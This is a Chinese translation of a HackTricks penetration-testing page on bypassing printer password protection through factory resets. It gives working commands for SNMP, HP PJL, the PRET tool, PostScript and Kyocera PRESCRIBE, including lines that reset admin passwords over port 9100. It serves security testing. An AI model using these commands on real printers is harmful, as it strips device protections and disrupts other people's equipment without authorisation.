mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
92 lines
6.8 KiB
Markdown
92 lines
6.8 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
|
||
**将设备恢复到出厂设置**是一项安全关键的功能,因为它会**覆盖用户设置的密码**等保护机制。通常可以通过在打印机的**控制面板**上按下**特殊的组合键**来完成此操作。执行这样的冷重置只需要几秒钟,因此对于本地攻击者或渗透测试人员来说,这是一个现实的场景,他们可以在午餐时间潜入复印室。然而,**并不总是可以物理访问**设备。
|
||
|
||
### SNMP
|
||
|
||
打印机MIB定义了**prtGeneralReset**对象(**OID 1.3.6.1.2.1.43.5.1.1.3.1**),允许攻击者使用SNMP重新启动设备(powerCycleReset(4)),重置NVRAM设置(resetToNVRAM(5))或恢复出厂设置(resetToFactoryDefaults(6))。这个功能/攻击**支持各种各样的打印机**,并删除了嵌入式Web服务器的用户设置密码等所有保护机制。虽然保护机制可以有效地绕过,但这种方法的一个实际缺点是所有**静态IP地址配置将丢失**。**如果没有DHCP**服务可用,攻击者将**无法**在将设备重置为出厂设置后**重新连接**到设备。
|
||
|
||
可以使用以下`snmpset`命令将设备恢复到出厂默认设置(你需要知道**community string**,在大多数情况下默认为`public`):
|
||
```bash
|
||
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
|
||
```
|
||
### [PML](./#pml)/[PJL](./#pjl)
|
||
|
||
在许多情况下,攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而,在**HP设备**上,**SNMP**可以转换为其**PML表示**并将请求嵌入到合法的打印作业中。这使得攻击者可以在普通的打印作业中**重新启动和/或重置设备**为出厂默认设置,如下所示:
|
||
```bash
|
||
@PJL DMCMD ASCIIHEX="040006020501010301040106"
|
||
```
|
||
任何人都可以在惠普打印机上复制这种攻击,使用[**PRET**](https://github.com/RUB-NDS/PRET)可以轻松地重新启动或重置设备:
|
||
```bash
|
||
./pret.py -q printer pjl
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> reset
|
||
printer:/> restart
|
||
```
|
||
### PostScript
|
||
|
||
PostScript提供了一个类似的功能:**FactoryDefaults**系统参数,它是一个标志,如果在打印机关闭之前将其设置为**true**,则会在下次开机时将所有非易失性参数恢复为其**出厂默认值**。需要注意的是,**PostScript**本身也具有重新启动其**环境**的能力,但需要一个**有效的密码**。
|
||
|
||
然而,正如在[文档处理](http://hacking-printers.net/wiki/index.php/Document\_processing)的DoS攻击中讨论的那样,PostScript解释器可以被置于一个**无限循环**中,这会迫使用户**手动重新启动**设备,从而重置PostScript密码。
|
||
|
||
将PostScript系统参数重置为出厂默认值:
|
||
```bash
|
||
<< /FactoryDefaults true >> setsystemparams
|
||
```
|
||
重启PostScript解释器和虚拟内存:
|
||
```bash
|
||
true 0 startjob systemdict /quit get exec
|
||
```
|
||
任何人都可以使用[**PRET**](https://github.com/RUB-NDS/PRET)轻松地重新启动或重置打印机的PostScript解释器:
|
||
```bash
|
||
./pret.py -q printer ps
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> reset
|
||
printer:/> restart
|
||
```
|
||
### PRESCRIBE
|
||
|
||
对于**Kyocera设备**,可以使用**PRESCRIBE页面**描述语言通过以下命令之一在普通打印作业中将设备**恢复到出厂默认设置**:
|
||
```bash
|
||
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
|
||
!R! ACNT "REST"; CMMT "Reset account code admin password";
|
||
!R! EGRE; CMMT "Reset the engine board to factory defaults";
|
||
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
|
||
```
|
||
要重现此攻击,请打开到打印机的9100/tcp端口的原始网络连接,并**发送上述记录的命令**。
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|